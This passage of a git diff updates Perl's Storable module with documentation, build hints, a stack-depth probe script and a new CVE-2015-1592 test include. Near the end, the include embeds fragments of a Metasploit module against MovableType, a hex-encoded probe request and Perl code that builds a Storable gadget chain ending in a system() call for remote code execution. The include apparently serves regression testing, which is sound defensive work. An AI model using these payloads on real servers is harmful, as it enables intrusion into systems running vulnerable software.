+it tries to load the class by requiring the package dynamically (using
+the blessed package name), and then re-attempts the lookup. If at that
+time the hook cannot be located, the engine croaks. Note that this mechanism
+will fail if you define several classes in the same file, but L<perlmod>
+warned you.
+
+It is up to you to use this information to populate I<obj> the way you want.
+
+Returned value: none.
+
+=item C<STORABLE_attach> I<class>, I<cloning>, I<serialized>
+
+While C<STORABLE_freeze> and C<STORABLE_thaw> are useful for classes where
+each instance is independent, this mechanism has difficulty (or is
+incompatible) with objects that exist as common process-level or
+system-level resources, such as singleton objects, database pools, caches
+or memoized objects.
+
+The alternative C<STORABLE_attach> method provides a solution for these
+shared objects. Instead of C<STORABLE_freeze> --E<gt> C<STORABLE_thaw>,
+you implement C<STORABLE_freeze> --E<gt> C<STORABLE_attach> instead.
+
+Arguments: I<class> is the class we are attaching to, I<cloning> is a flag
+indicating whether we're in a dclone() or a regular de-serialization via
+thaw(), and I<serialized> is the stored string for the resource object.
+
+Because these resource objects are considered to be owned by the entire
+process/system, and not the "property" of whatever is being serialized,
+no references underneath the object should be included in the serialized
+string. Thus, in any class that implements C<STORABLE_attach>, the
+C<STORABLE_freeze> method cannot return any references, and C<Storable>
+will throw an error if C<STORABLE_freeze> tries to return references.
+
+All information required to "attach" back to the shared resource object
+B<must> be contained B<only> in the C<STORABLE_freeze> return string.
+Otherwise, C<STORABLE_freeze> behaves as normal for C<STORABLE_attach>
+classes.
+
+Because C<STORABLE_attach> is passed the class (rather than an object),
+it also returns the object directly, rather than modifying the passed
+object.
+
+Returned value: object of type C<class>
+
+=back
+
+=head2 Predicates
+
+Predicates are not exportable. They must be called by explicitly prefixing
+them with the Storable package name.
+
+=over 4
+
+=item C<Storable::last_op_in_netorder>
+
+The C<Storable::last_op_in_netorder()> predicate will tell you whether
+network order was used in the last store or retrieve operation. If you
+don't know how to use this, just forget about it.
+
+=item C<Storable::is_storing>
+
+Returns true if within a store operation (via STORABLE_freeze hook).
+
+=item C<Storable::is_retrieving>
+
+Returns true if within a retrieve operation (via STORABLE_thaw hook).
+
+=back
+
+=head2 Recursion
+
+With hooks comes the ability to recurse back to the Storable engine.
+Indeed, hooks are regular Perl code, and Storable is convenient when
+it comes to serializing and deserializing things, so why not use it
+to handle the serialization string?
+
+There are a few things you need to know, however:
+
+=over 4
+
+=item *
+
+Since Storable 3.05 we probe for the stack recursion limit for references,
+arrays and hashes to a maximal depth of ~1200-35000, otherwise we might
+fall into a stack-overflow. On JSON::XS this limit is 512 btw. With
+references not immediately referencing each other there's no such
+limit yet, so you might fall into such a stack-overflow segfault.
+
+This probing and the checks performed have some limitations:
+
+=over
+
+=item *
+
+the stack size at build time might be different at run time, eg. the
+stack size may have been modified with ulimit(1). If it's larger at
+run time Storable may fail the freeze() or thaw() unnecessarily.
+
+=item *
+
+the stack size might be different in a thread.
+
+=item *
+
+array and hash recursion limits are checked separately against the
+same recursion depth, a frozen structure with a large sequence of
+nested arrays within many nested hashes may exhaust the processor
+stack without triggering Storable's recursion protection.
+
+=back
+
+You can control the maximum array and hash recursion depths by
+modifying C<$Storable::recursion_limit> and
+C<$Storable::recursion_limit_hash> respectively. Either can be set to
+C<-1> to prevent any depth checks, though this isn't recommended.
+
+=item *
+
+You can create endless loops if the things you serialize via freeze()
+(for instance) point back to the object we're trying to serialize in
+the hook.
+
+=item *
+
+Shared references among objects will not stay shared: if we're serializing
+the list of object [A, C] where both object A and C refer to the SAME object
+B, and if there is a serializing hook in A that says freeze(B), then when
+deserializing, we'll get [A', C'] where A' refers to B', but C' refers to D,
+a deep clone of B'. The topology was not preserved.
+
+=item *
+
+The maximal stack recursion limit for your system is returned by
+C<stack_depth()> and C<stack_depth_hash()>. The hash limit is usually
+half the size of the array and ref limit, as the Perl hash API is not optimal.
+
+=back
+
+That's why C<STORABLE_freeze> lets you provide a list of references
+to serialize. The engine guarantees that those will be serialized in the
+same context as the other objects, and therefore that shared objects will
+stay shared.
+
+In the above [A, C] example, the C<STORABLE_freeze> hook could return:
+
+ ("something", $self->{B})
+
+and the B part would be serialized by the engine. In C<STORABLE_thaw>, you
+would get back the reference to the B' object, deserialized for you.
+
+Therefore, recursion should normally be avoided, but is nonetheless supported.
+
+=head2 Deep Cloning
+
+There is a Clone module available on CPAN which implements deep cloning
+natively, i.e. without freezing to memory and thawing the result. It is
+aimed to replace Storable's dclone() some day. However, it does not currently
+support Storable hooks to redefine the way deep cloning is performed.
+
+=head1 Storable magic
+
+Yes, there's a lot of that :-) But more precisely, in UNIX systems
+there's a utility called C<file>, which recognizes data files based on
+their contents (usually their first few bytes). For this to work,
+a certain file called F<magic> needs to taught about the I<signature>
+of the data. Where that configuration file lives depends on the UNIX
+flavour; often it's something like F</usr/share/misc/magic> or
+F</etc/magic>. Your system administrator needs to do the updating of
+the F<magic> file. The necessary signature information is output to
+STDOUT by invoking Storable::show_file_magic(). Note that the GNU
+implementation of the C<file> utility, version 3.38 or later,
+is expected to contain support for recognising Storable files
+out-of-the-box, in addition to other kinds of Perl files.
+
+You can also use the following functions to extract the file header
+information from Storable images:
+
+=over
+
+=item $info = Storable::file_magic( $filename )
+
+If the given file is a Storable image return a hash describing it. If
+the file is readable, but not a Storable image return C<undef>. If
+the file does not exist or is unreadable then croak.
+
+The hash returned has the following elements:
+
+=over
+
+=item C<version>
+
+This returns the file format version. It is a string like "2.7".
+
+Note that this version number is not the same as the version number of
+the Storable module itself. For instance Storable v0.7 create files
+in format v2.0 and Storable v2.15 create files in format v2.7. The
+file format version number only increment when additional features
+that would confuse older versions of the module are added.
+
+Files older than v2.0 will have the one of the version numbers "-1",
+"0" or "1". No minor number was used at that time.
+
+=item C<version_nv>
+
+This returns the file format version as number. It is a string like
+"2.007". This value is suitable for numeric comparisons.
+
+The constant function C<Storable::BIN_VERSION_NV> returns a comparable
+number that represents the highest file version number that this
+version of Storable fully supports (but see discussion of
+C<$Storable::accept_future_minor> above). The constant
+C<Storable::BIN_WRITE_VERSION_NV> function returns what file version
+is written and might be less than C<Storable::BIN_VERSION_NV> in some
+configurations.
+
+=item C<major>, C<minor>
+
+This also returns the file format version. If the version is "2.7"
+then major would be 2 and minor would be 7. The minor element is
+missing for when major is less than 2.
+
+=item C<hdrsize>
+
+The is the number of bytes that the Storable header occupies.
+
+=item C<netorder>
+
+This is TRUE if the image store data in network order. This means
+that it was created with nstore() or similar.
+
+=item C<byteorder>
+
+This is only present when C<netorder> is FALSE. It is the
+$Config{byteorder} string of the perl that created this image. It is
+a string like "1234" (32 bit little endian) or "87654321" (64 bit big
+endian). This must match the current perl for the image to be
+readable by Storable.
+
+=item C<intsize>, C<longsize>, C<ptrsize>, C<nvsize>
+
+These are only present when C<netorder> is FALSE. These are the sizes of
+various C datatypes of the perl that created this image. These must
+match the current perl for the image to be readable by Storable.
+
+The C<nvsize> element is only present for file format v2.2 and
+higher.
+
+=item C<file>
+
+The name of the file.
+
+=back
+
+=item $info = Storable::read_magic( $buffer )
+
+=item $info = Storable::read_magic( $buffer, $must_be_file )
+
+The $buffer should be a Storable image or the first few bytes of it.
+If $buffer starts with a Storable header, then a hash describing the
+image is returned, otherwise C<undef> is returned.
+
+The hash has the same structure as the one returned by
+Storable::file_magic(). The C<file> element is true if the image is a
+file image.
+
+If the $must_be_file argument is provided and is TRUE, then return
+C<undef> unless the image looks like it belongs to a file dump.
+
+The maximum size of a Storable header is currently 21 bytes. If the
+provided $buffer is only the first part of a Storable image it should
+at least be this long to ensure that read_magic() will recognize it as
+such.
+
+=back
+
+=head1 EXAMPLES
+
+Here are some code samples showing a possible usage of Storable:
+
+ use Storable qw(store retrieve freeze thaw dclone);
+
+ %color = ('Blue' => 0.1, 'Red' => 0.8, 'Black' => 0, 'White' => 1);
+
+ store(\%color, 'mycolors') or die "Can't store %a in mycolors!\n";
+
+ $colref = retrieve('mycolors');
+ die "Unable to retrieve from mycolors!\n" unless defined $colref;
+ printf "Blue is still %lf\n", $colref->{'Blue'};
+
+ $colref2 = dclone(\%color);
+
+ $str = freeze(\%color);
+ printf "Serialization of %%color is %d bytes long.\n", length($str);
+ $colref3 = thaw($str);
+
+which prints (on my machine):
+
+ Blue is still 0.100000
+ Serialization of %color is 102 bytes long.
+
+Serialization of CODE references and deserialization in a safe
+compartment:
+
+=for example begin
+
+ use Storable qw(freeze thaw);
+ use Safe;
+ use strict;
+ my $safe = new Safe;
+ # because of opcodes used in "use strict":
+ $safe->permit(qw(:default require));
+ local $Storable::Deparse = 1;
+ local $Storable::Eval = sub { $safe->reval($_[0]) };
+ my $serialized = freeze(sub { 42 });
+ my $code = thaw($serialized);
+ $code->() == 42;
+
+=for example end
+
+=for example_testing
+ is( $code->(), 42 );
+
+=head1 SECURITY WARNING
+
+B<Do not accept Storable documents from untrusted sources!>
+
+Some features of Storable can lead to security vulnerabilities if you
+accept Storable documents from untrusted sources with the default
+flags. Most obviously, the optional (off by default) CODE reference
+serialization feature allows transfer of code to the deserializing
+process. Furthermore, any serialized object will cause Storable to
+helpfully load the module corresponding to the class of the object in
+the deserializing module. For manipulated module names, this can load
+almost arbitrary code. Finally, the deserialized object's destructors
+will be invoked when the objects get destroyed in the deserializing
+process. Maliciously crafted Storable documents may put such objects
+in the value of a hash key that is overridden by another key/value
+pair in the same hash, thus causing immediate destructor execution.
+
+To disable blessing objects while thawing/retrieving remove the flag
+C<BLESS_OK> = 2 from C<$Storable::flags> or set the 2nd argument for
+thaw/retrieve to 0.
+
+To disable tieing data while thawing/retrieving remove the flag C<TIE_OK>
+= 4 from C<$Storable::flags> or set the 2nd argument for thaw/retrieve
+to 0.
+
+With the default setting of C<$Storable::flags> = 6, creating or destroying
+random objects, even renamed objects can be controlled by an attacker.
+See CVE-2015-1592 and its metasploit module.
+
+If your application requires accepting data from untrusted sources,
+you are best off with a less powerful and more-likely safe
+serialization format and implementation. If your data is sufficiently
+simple, Cpanel::JSON::XS, Data::MessagePack or Serial are the best
+choices and offers maximum interoperability, but note that Serial is
+unsafe by default.
+
+=head1 WARNING
+
+If you're using references as keys within your hash tables, you're bound
+to be disappointed when retrieving your data. Indeed, Perl stringifies
+references used as hash table keys. If you later wish to access the
+items via another reference stringification (i.e. using the same
+reference that was used for the key originally to record the value into
+the hash table), it will work because both references stringify to the
+same string.
+
+It won't work across a sequence of C<store> and C<retrieve> operations,
+however, because the addresses in the retrieved objects, which are
+part of the stringified references, will probably differ from the
+original addresses. The topology of your structure is preserved,
+but not hidden semantics like those.
+
+On platforms where it matters, be sure to call C<binmode()> on the
+descriptors that you pass to Storable functions.
+
+Storing data canonically that contains large hashes can be
+significantly slower than storing the same data normally, as
+temporary arrays to hold the keys for each hash have to be allocated,
+populated, sorted and freed. Some tests have shown a halving of the
+speed of storing -- the exact penalty will depend on the complexity of
+your data. There is no slowdown on retrieval.
+
+=head1 REGULAR EXPRESSIONS
+
+Storable now has experimental support for storing regular expressions,
+but there are significant limitations:
+
+=over
+
+=item *
+
+perl 5.8 or later is required.
+
+=item *
+
+regular expressions with code blocks, ie C</(?{ ... })/> or C</(??{
+... })/> will throw an exception when thawed.
+
+=item *
+
+regular expression syntax and flags have changed over the history of
+perl, so a regular expression that you freeze in one version of perl
+may fail to thaw or behave differently in another version of perl.
+
+=item *
+
+depending on the version of perl, regular expressions can change in
+behaviour depending on the context, but later perls will bake that
+behaviour into the regexp.
+
+=back
+
+Storable will throw an exception if a frozen regular expression cannot
+be thawed.
+
+=head1 BUGS
+
+You can't store GLOB, FORMLINE, etc.... If you can define semantics
+for those operations, feel free to enhance Storable so that it can
+deal with them.
+
+The store functions will C<croak> if they run into such references
+unless you set C<$Storable::forgive_me> to some C<TRUE> value. In that
+case, the fatal message is converted to a warning and some meaningless
+string is stored instead.
+
+Setting C<$Storable::canonical> may not yield frozen strings that
+compare equal due to possible stringification of numbers. When the
+string version of a scalar exists, it is the form stored; therefore,
+if you happen to use your numbers as strings between two freezing
+operations on the same data structures, you will get different
+results.
+
+When storing doubles in network order, their value is stored as text.
+However, you should also not expect non-numeric floating-point values
+such as infinity and "not a number" to pass successfully through a
+nstore()/retrieve() pair.
+
+As Storable neither knows nor cares about character sets (although it
+does know that characters may be more than eight bits wide), any difference
+in the interpretation of character codes between a host and a target
+system is your problem. In particular, if host and target use different
+code points to represent the characters used in the text representation
+of floating-point numbers, you will not be able be able to exchange
+floating-point data, even with nstore().
+
+C<Storable::drop_utf8> is a blunt tool. There is no facility either to
+return B<all> strings as utf8 sequences, or to attempt to convert utf8
+data back to 8 bit and C<croak()> if the conversion fails.
+
+Prior to Storable 2.01, no distinction was made between signed and
+unsigned integers on storing. By default Storable prefers to store a
+scalars string representation (if it has one) so this would only cause
+problems when storing large unsigned integers that had never been converted
+to string or floating point. In other words values that had been generated
+by integer operations such as logic ops and then not used in any string or
+arithmetic context before storing.
+
+=head2 64 bit data in perl 5.6.0 and 5.6.1
+
+This section only applies to you if you have existing data written out
+by Storable 2.02 or earlier on perl 5.6.0 or 5.6.1 on Unix or Linux which
+has been configured with 64 bit integer support (not the default)
+If you got a precompiled perl, rather than running Configure to build
+your own perl from source, then it almost certainly does not affect you,
+and you can stop reading now (unless you're curious). If you're using perl
+on Windows it does not affect you.
+
+Storable writes a file header which contains the sizes of various C
+language types for the C compiler that built Storable (when not writing in
+network order), and will refuse to load files written by a Storable not
+on the same (or compatible) architecture. This check and a check on
+machine byteorder is needed because the size of various fields in the file
+are given by the sizes of the C language types, and so files written on
+different architectures are incompatible. This is done for increased speed.
+(When writing in network order, all fields are written out as standard
+lengths, which allows full interworking, but takes longer to read and write)
+
+Perl 5.6.x introduced the ability to optional configure the perl interpreter
+to use C's C<long long> type to allow scalars to store 64 bit integers on 32
+bit systems. However, due to the way the Perl configuration system
+generated the C configuration files on non-Windows platforms, and the way
+Storable generates its header, nothing in the Storable file header reflected
+whether the perl writing was using 32 or 64 bit integers, despite the fact
+that Storable was storing some data differently in the file. Hence Storable
+running on perl with 64 bit integers will read the header from a file
+written by a 32 bit perl, not realise that the data is actually in a subtly
+incompatible format, and then go horribly wrong (possibly crashing) if it
+encountered a stored integer. This is a design failure.
+
+Storable has now been changed to write out and read in a file header with
+information about the size of integers. It's impossible to detect whether
+an old file being read in was written with 32 or 64 bit integers (they have
+the same header) so it's impossible to automatically switch to a correct
+backwards compatibility mode. Hence this Storable defaults to the new,
+correct behaviour.
+
+What this means is that if you have data written by Storable 1.x running
+on perl 5.6.0 or 5.6.1 configured with 64 bit integers on Unix or Linux
+then by default this Storable will refuse to read it, giving the error
+I<Byte order is not compatible>. If you have such data then you
+should set C<$Storable::interwork_56_64bit> to a true value to make this
+Storable read and write files with the old header. You should also
+migrate your data, or any older perl you are communicating with, to this
+current version of Storable.
+
+If you don't have data written with specific configuration of perl described
+above, then you do not and should not do anything. Don't set the flag -
+not only will Storable on an identically configured perl refuse to load them,
+but Storable a differently configured perl will load them believing them
+to be correct for it, and then may well fail or crash part way through
+reading them.
+
+=head1 CREDITS
+
+Thank you to (in chronological order):
+
+ Jarkko Hietaniemi <jhi@iki.fi>
+ Ulrich Pfeifer <pfeifer@charly.informatik.uni-dortmund.de>
+ Benjamin A. Holzman <bholzman@earthlink.net>
+ Andrew Ford <A.Ford@ford-mason.co.uk>
+ Gisle Aas <gisle@aas.no>
+ Jeff Gresham <gresham_jeffrey@jpmorgan.com>
+ Murray Nesbitt <murray@activestate.com>
+ Marc Lehmann <pcg@opengroup.org>
+ Justin Banks <justinb@wamnet.com>
+ Jarkko Hietaniemi <jhi@iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
+ Salvador Ortiz Garcia <sog@msg.com.mx>
+ Dominic Dunlop <domo@computer.org>
+ Erik Haugan <erik@solbors.no>
+ Benjamin A. Holzman <ben.holzman@grantstreet.com>
+ Reini Urban <rurban@cpan.org>
+ Todd Rinaldo <toddr@cpanel.net>
+ Aaron Crane <arc@cpan.org>
+
+for their bug reports, suggestions and contributions.
+
+Benjamin Holzman contributed the tied variable support, Andrew Ford
+contributed the canonical order for hashes, and Gisle Aas fixed
+a few misunderstandings of mine regarding the perl internals,
+and optimized the emission of "tags" in the output streams by
+simply counting the objects instead of tagging them (leading to
+a binary incompatibility for the Storable image starting at version
+0.6--older images are, of course, still properly understood).
+Murray Nesbitt made Storable thread-safe. Marc Lehmann added overloading
+and references to tied items support. Benjamin Holzman added a performance
+improvement for overloaded classes; thanks to Grant Street Group for footing
+the bill.
+Reini Urban took over maintainance from p5p, and added security fixes
+and huge object support.
+
+=head1 AUTHOR
+
+Storable was written by Raphael Manfredi
+F<E<lt>Raphael_Manfredi@pobox.comE<gt>>
+Maintenance is now done by cperl L<http://perl11.org/cperl>
+
+Please e-mail us with problems, bug fixes, comments and complaints,
+although if you have compliments you should send them to Raphael.
+Please don't e-mail Raphael with problems, as he no longer works on
+Storable, and your message will be delayed while he forwards it to us.
+
+=head1 SEE ALSO
+
+L<Clone>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Storable/hints/linux.pl b/gnu/usr.bin/perl/dist/Storable/hints/linux.pl
index 0c7d5e35a9f..f6cc0fa2b50 100644
--- a/gnu/usr.bin/perl/dist/Storable/hints/linux.pl
+++ b/gnu/usr.bin/perl/dist/Storable/hints/linux.pl
@@ -6,9 +6,10 @@
# 20011002 and 3.3, and in Redhat 7.1 with gcc 3.3.1. The failures
# happen only for unthreaded builds, threaded builds work okay.
use Config;
-if ($Config{gccversion}) {
+if ($Config{gccversion} and !$Config{usethreads}) {
my $optimize = $Config{optimize};
- if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/) {
+ # works fine with gcc 4 or clang
+ if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/ and $Config{gccversion} =~ /^[23]\./) {
$self->{OPTIMIZE} = $optimize;
}
}
diff --git a/gnu/usr.bin/perl/dist/Storable/stacksize b/gnu/usr.bin/perl/dist/Storable/stacksize
new file mode 100644
index 00000000000..7abd3a84cc0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/stacksize
@@ -0,0 +1,232 @@
+#!/usr/bin/perl
+# binary search maximum stack depth for arrays and hashes
+# and store it in lib/Storable/Limit.pm
+
+use Config;
+use Cwd;
+use File::Spec;
+use strict;
+
+my $fn = "lib/Storable/Limit.pm";
+my $ptrsize = $Config{ptrsize};
+my ($bad1, $bad2) = (65001, 25000);
+sub QUIET () {
+ (defined $ENV{MAKEFLAGS} and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/
+ and !defined($ENV{TRAVIS}))
+ ? 1 : 0
+}
+sub PARALLEL () {
+ if (defined $ENV{MAKEFLAGS}
+ and $ENV{MAKEFLAGS} =~ /\bj\s*(\d+)\b/
+ and $1 > 1) {
+ return 1;
+ } else {
+ return 0;
+ }
+}
+sub is_miniperl {
+ return !defined &DynaLoader::boot_DynaLoader;
+}
+
+if (is_miniperl()) {
+ die "Should not run during miniperl\n";
+}
+my $prefix = "";
+if ($^O eq "MSWin32") {
+ # prevent Windows popping up a dialog each time we overflow
+ # the stack
+ require Win32API::File;
+ Win32API::File->import(qw(SetErrorMode SEM_NOGPFAULTERRORBOX SEM_FAILCRITICALERRORS));
+ SetErrorMode(SEM_NOGPFAULTERRORBOX() | SEM_FAILCRITICALERRORS());
+}
+# the ; here is to ensure system() passes this to the shell
+elsif (system("ulimit -c 0 ;") == 0) {
+ # try to prevent core dumps
+ $prefix = "ulimit -c 0 ; ";
+}
+if (@ARGV and $ARGV[0] eq '--core') {
+ $ENV{PERL_CORE} = 1;
+}
+my $PERL = $^X;
+if ($ENV{PERL_CORE}) {
+ my $path;
+ my $ldlib = $Config{ldlibpthname};
+ if (-d 'dist/Storable') {
+ chdir 'dist/Storable';
+ $PERL = "../../$PERL" unless $PERL =~ m|^/|;
+ }
+ if ($ldlib) {
+ $path = getcwd()."/../..";
+ }
+ if ($^O eq 'MSWin32' and -d '../dist/Storable') {
+ chdir '..\dist\Storable';
+ $PERL = "..\\..\\$PERL" unless $PERL =~ /^[A-Za-z]:\\/;
+ }
+ $PERL = "\"$PERL\"" if $PERL =~ / /;
+ if ($ldlib and $ldlib ne 'PATH') {
+ $PERL = "$ldlib=$path $PERL";
+ }
+}
+
+-d "lib" or mkdir "lib";
+-d "lib/Storable" or mkdir "lib/Storable";
+
+if ($^O eq "MSWin32") {
+ require Win32;
+ my ($str, $major, $minor) = Win32::GetOSVersion();
+ if ($major < 6 || $major == 6 && $minor < 1) {
+ print "Using defaults for older Win32\n";
+ write_limits(500, 256);
+ exit;
+ }
+}
+my ($n, $good, $bad, $found) =
+ (65000, 100, $bad1, undef);
+print "probe for max. stack sizes...\n" unless QUIET;
+# -I. since we're run before pm_to_blib (which is going to copy the
+# file we create) and need to load our Storable.pm, not the already
+# installed Storable.pm
+my $mblib = '-Mblib -I.';
+if ($ENV{PERL_CORE}) {
+ if ($^O eq 'MSWin32') {
+ $mblib = '-I..\..\lib\auto -I..\..\lib';
+ } else {
+ $mblib = '-I../../lib/auto -I../../lib';
+ }
+}
+if (PARALLEL) {
+ # problem with parallel builds. wait for INST_DYNAMIC linking to be done.
+ # the problem is the RM_F INST_DYNAMIC race.
+ print "parallel build race - wait for linker ...\n" unless QUIET;
+ sleep(2.0);
+}
+
+sub cmd {
+ my ($i, $try, $limit_name) = @_;
+ die unless $i;
+ my $code = "my \$t; \$Storable::$limit_name = -1; $try for 1..$i;dclone(\$t); print qq/ok\n/";
+ my $q = ($^O eq 'MSWin32') ? '"' : "'";
+
+ "$prefix $PERL $mblib -MStorable=dclone -e$q$code$q"
+}
+# try more
+sub good {
+ my $i = shift; # this passed
+ my $j = $i + abs(int(($bad - $i) / 2));
+ print "Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET;
+ $good = $i;
+ if ($j <= $i) {
+ $found++;
+ }
+ return $j;
+}
+# try less
+sub bad {
+ my $i = shift; # this failed
+ my $j = $i - abs(int(($i - $good) / 2));
+ print "Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET;
+ $bad = $i;
+ if ($j >= $i) {
+ $j = $good;
+ $found++;
+ }
+ return $j;
+}
+
+sub array_cmd {
+ my $depth = shift;
+ return cmd($depth, '$t=[$t]', 'recursion_limit');
+}
+
+# first check we can successfully run with a minimum level
+my $cmd = array_cmd(1);
+unless ((my $output = `$cmd`) =~ /\bok\b/) {
+ die "Cannot run probe: '$output', aborting...\n";
+}
+
+unless ($ENV{STORABLE_NOISY}) {
+ # suppress Segmentation fault messages
+ open STDERR, ">", File::Spec->devnull;
+}
+
+while (!$found) {
+ my $cmd = array_cmd($n);
+ #print "$cmd\n" unless $QUIET;
+ if (`$cmd` =~ /\bok\b/) {
+ $n = good($n);
+ } else {
+ $n = bad($n);
+ }
+}
+print "MAX_DEPTH = $n\n" unless QUIET;
+my $max_depth = $n;
+
+($n, $good, $bad, $found) =
+ (int($n/2), 50, $n, undef);
+# pack j only since 5.8
+my $max = ($] > 5.007 and length(pack "j", 0) < 8)
+ ? ($^O eq 'MSWin32' ? 3000 : 8000)
+ : $max_depth;
+$n = $max if $n > $max;
+$bad = $max if $bad > $max;
+while (!$found) {
+ my $cmd = cmd($n, '$t={1=>$t}', 'recursion_limit_hash');
+ #print "$cmd\n" unless $QUIET;
+ if (`$cmd` =~ /\bok\b/) {
+ $n = good($n);
+ } else {
+ $n = bad($n);
+ }
+}
+if ($max_depth == $bad1-1
+ and $n == $bad2-1)
+{
+ # more likely the shell. travis docker ubuntu, mingw e.g.
+ print "Error: Apparently your system(SHELLSTRING) cannot catch stack overflows\n"
+ unless QUIET;
+ $max_depth = 512;
+ $n = 256;
+ print "MAX_DEPTH = $max_depth\n" unless QUIET;
+}
+print "MAX_DEPTH_HASH = $n\n" unless QUIET;
+my $max_depth_hash = $n;
+
+# Previously this calculation was done in the macro, calculate it here
+# instead so a user setting of either variable more closely matches
+# the limits the use sees.
+
+# be fairly aggressive in trimming this, smoke testing showed several
+# several apparently random failures here, eg. working in one
+# configuration, but not in a very similar configuration.
+$max_depth = int(0.6 * $max_depth);
+$max_depth_hash = int(0.6 * $max_depth);
+
+my $stack_reserve = $^O eq "MSWin32" ? 32 : 16;
+if ($] ge "5.016" && !($^O eq "cygwin" && $ptrsize == 8)) {
+ $max_depth -= $stack_reserve;
+ $max_depth_hash -= $stack_reserve;
+}
+else {
+ # within the exception we need another stack depth to recursively
+ # cleanup the hash
+ $max_depth = ($max_depth >> 1) - $stack_reserve;
+ $max_depth_hash = ($max_depth_hash >> 1) - $stack_reserve * 2;
+}
+
+write_limits($max_depth, $max_depth_hash);
+
+sub write_limits {
+ my ($max_depth, $max_depth_hash) = @_;
+ my $f;
+ open $f, ">", $fn or die "$fn $!";
+ print $f <<EOS;
+# bisected by stacksize
+\$Storable::recursion_limit = $max_depth
+ unless defined \$Storable::recursion_limit;
+\$Storable::recursion_limit_hash = $max_depth_hash
+ unless defined \$Storable::recursion_limit_hash;
+1;
+EOS
+ close $f
+ or die "Failed to close $fn: $!\n";
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc
new file mode 100644
index 00000000000..481dba5307d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.inc
@@ -0,0 +1,261 @@
+#!/usr/bin/perl
+
+=pod
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = GoodRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'SixApart MovableType Storable Perl Code Execution',
+ 'Description' => %q{
+ This module exploits a serialization flaw in MovableType before 5.2.12 to execute
+ arbitrary code. The default nondestructive mode depends on the target server having
+ the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
+ The destructive mode of operation uses only required MovableType dependencies,
+ but it will noticeably corrupt the MovableType installation.
+ },
+ 'Author' =>
+ [
+ 'John Lightsey',
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2015-1592' ],
+ [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
+ ],
+ 'Privileged' => false, # web server context
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'BadChars' => ' ',
+ 'Space' => 1024,
+ },
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd'
+ },
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Targets' => [['Automatic', {}]],
+ 'DisclosureDate' => 'Feb 11 2015',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
+ OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
+ ], self.class
+ )
+
+ end
+
+=cut
+
+# generate config parameters for injection checks
+
+use Storable;
+
+{
+
+ package XXXCHECKXXX;
+
+ sub STORABLE_thaw {
+ return 1;
+ }
+
+ sub STORABLE_freeze {
+ return 1;
+ }
+
+}
+
+my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
+my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
+$frozen2 = unpack 'H*', $frozen2;
+#print "LFI test for storable flaw is: $frozen2\n";
+
+{
+ package DateTime;
+ use overload '+' => sub { 'ignored' };
+}
+
+=pod
+
+ def check
+ vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
+ }
+ })
+
+ unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
+ vprint_status("Failed XXXCHECKXXX.pm load test");
+ return Exploit::CheckCode::Safe
+ end
+ Exploit::CheckCode::Vulnerable
+ end
+
+ def exploit
+ if datastore['DESTRUCTIVE']
+ exploit_destructive
+ else
+ exploit_nondestructive
+ end
+ end
+
+=cut
+
+#!/usr/bin/perl
+
+# Generate nondestructive config parameter for RCE via Object::MultiType
+# and Try::Tiny. The generated value requires minor modification to insert
+# the payload inside the system() call and resize the padding.
+
+use Storable;
+
+{
+ package Object::MultiType;
+ use overload '+' => sub { 'ingored' };
+}
+
+{
+ package Object::MultiType::Saver;
+}
+
+#{
+# package DateTime;
+# use overload '+' => sub { 'ingored' };
+#}
+
+{
+ package Try::Tiny::ScopeGuard;
+}
+
+my $try_tiny_loader = bless {}, 'DateTime';
+my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
+my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
+my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
+
+my $data = [$try_tiny_loader, $try_tiny_executor];
+my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
+$frozen1 = unpack 'H*', $frozen1;
+#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
+
+=pod
+
+ def exploit_nondestructive
+ print_status("Using nondestructive attack method")
